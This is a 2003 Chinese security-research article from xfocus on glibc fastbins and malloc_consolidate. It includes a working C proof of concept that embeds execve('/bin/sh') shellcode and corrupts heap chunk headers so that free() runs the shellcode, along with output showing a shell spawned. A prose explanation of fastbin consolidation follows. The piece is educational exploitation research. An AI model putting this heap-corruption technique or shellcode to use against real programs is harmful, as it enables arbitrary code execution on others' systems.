新版本glibc heap管理之fastbins初探创建时间:2003-09-18 文章属性:原创 文章来源:http://www.xfocus.net 文章提交:watercloud (watercloud_at_xfocus.org) 这篇文章原贴于Unix Hacking版,介绍了新版本glibc下堆溢出的一些新特点, 由此引出的很好的讨论参考: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28184 小堆溢出的简单演示: /* t-fast2.c by watercloud for test glibc2.3.2 malloc fastbins consolidate. */ #include<stdio.h> #include<stdlib.h> char shell[]= "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80"; int main(int argc,char *argv[]) { unsigned int addr[1]; unsigned int * p0 = malloc(8); unsigned int * p1 = malloc(8); unsigned int * p2 = malloc(0x10000-8); p0[0]=&addr[-1]; p0[1]=shell; p0[2] = 0x10; p0[3] &= ~0x1; free(p1); free(p2); // or p0=malloc(0x10000); } [cloud@watercloud ex-malloc]$ gcc t-fast2.c -o t2 -g t-fast2.c: In function `main': t-fast2.c:15: warning: assignment makes integer from pointer without a cast t-fast2.c:16: warning: assignment makes integer from pointer without a cast [cloud@watercloud ex-malloc]$ ./t2 sh-2.05b$ 关于fastbins理解如下: 这个程序是我看malloc_consolidate时的一个知识点验证程序,并不是说有多实用,多精巧 :) fastbins的概念就是小于av->max_fast (最大为80,默认为64,可以通过mallopt指定) 的小堆如果每次free时都进行和周围空块的合并工作并不能有效增大空块的大小而且很可能紧 接着会再次出现小空间的malloc请求,作为折中每次free这些小堆时并不进行合并工作, 而是将他们记录到av->fastbins里边,按大小组成多个等大小的单链表,每个链表头就在 fastbins[]数组中;当有堆malloc请求或free后空快的size >0xffff时就调用 malloc_consolidate进行一次清理工作:将fastbins里的各个链表遍历一遍,对每个链表 上的块进行和周围空闲块的合并工作(如果前一个块为空闲则unlink前块,如果后一个块是空 闲则unlink后一个块),合并后将整个块放到正常的unsorted_chunks中形成正常的空闲块, 并从fastbins的链表里删除。 |